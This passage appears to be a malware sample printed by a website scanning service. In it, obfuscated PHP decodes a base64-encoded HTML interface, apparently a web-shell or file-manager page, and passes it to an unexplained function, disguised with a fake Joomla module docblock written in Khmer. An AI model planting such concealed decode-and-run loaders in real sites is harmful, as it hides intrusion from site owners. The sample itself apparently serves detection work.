BzcmM9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMS4zL2Rpc3QvanMvYm9vdHN0cmFwLmJ1bmRsZS5taW4uanMiIGludGVncml0eT0ic2hhMzg0LWthN1NrMEdsbjRnbXR6Mk1sUW5pa1Qxd1hnWXNPZytPTWh1UCtJbFJIOXNFTkJPMExSbjVxKzhuYlRvdjQrMXAiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0PgogICAgICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL3N3ZWV0YWxlcnQyQDExLjQuMC9kaXN0L3N3ZWV0YWxlcnQyLmFsbC5taW4uanMiPjwvc2NyaXB0PgogICAgICAgIDxzY3JpcHQ+CiAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkX1NFU1NJT05bJ21lc3NhZ2UnXSkpIDogPz4KICAgICAgICAgICAgICAgIFN3YWwuZmlyZSgKICAgICAgICAgICAgICAgICc8Pz0gJF9TRVNTSU9OWydzdGF0dXMnXSA/PicsCiAgICAgICAgICAgICAgICAnPD89ICRfU0VTU0lPTlsnbWVzc2FnZSddID8+JywKICAgICAgICAgICAgICAgICc8Pz0gJF9TRVNTSU9OWydjbGFzcyddID8+JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICA8P3BocCBlbmRpZjsgY2xlYXIoKTsgPz4KCiAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZUNvbmZpcm0odXJsKSB7CiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpCiAgICAgICAgICAgICAgICBTd2FsLmZpcmUoewogICAgICAgICAgICAgICAgICAgIHRpdGxlOiAnQXJlIHlvdSBzdXJlPycsCiAgICAgICAgICAgICAgICAgICAgaWNvbjogJ3dhcm5pbmcnLAogICAgICAgICAgICAgICAgICAgIHNob3dDYW5jZWxCdXR0b246IHRydWUsCiAgICAgICAgICAgICAgICAgICAgY29uZmlybUJ1dHRvbkNvbG9yOiAnIzMwODVkNicsCiAgICAgICAgICAgICAgICAgICAgY2FuY2VsQnV0dG9uQ29sb3I6ICcjZDMzJywKICAgICAgICAgICAgICAgICAgICBjb25maXJtQnV0dG9uVGV4dDogJ1llcywgZGVsZXRlIGl0IScKICAgICAgICAgICAgICAgIH0pLnRoZW4oKHJlc3VsdCkgPT4gewogICAgICAgICAgICAgICAgICAgIGlmIChyZXN1bHQuaXNDb25maXJtZWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSB1cmwKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9KQogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGpzY29weSgpIHsKICAgICAgICAgICAgICAgIHZhciBqc0NvcHkgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiQ29weUZyb21UZXh0QXJlYSIpOwogICAgICAgICAgICAgICAganNDb3B5LmZvY3VzKCk7CiAgICAgICAgICAgICAgICBqc0NvcHkuc2VsZWN0KCk7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5leGVjQ29tbWFuZCgiY29weSIpOwogICAgICAgICAgICB9CiAgICAgICAgPC9zY3JpcHQ+CiAgICA8L2JvZHk+CjwvaHRtbD4=";
$li = base64_decode($line);

/**
 * ជំនួយសម្រាប់ mod_xmlget
 *
 * @since  1.6
 */

better($li);



© 2023 Quttera Ltd. All rights reserved.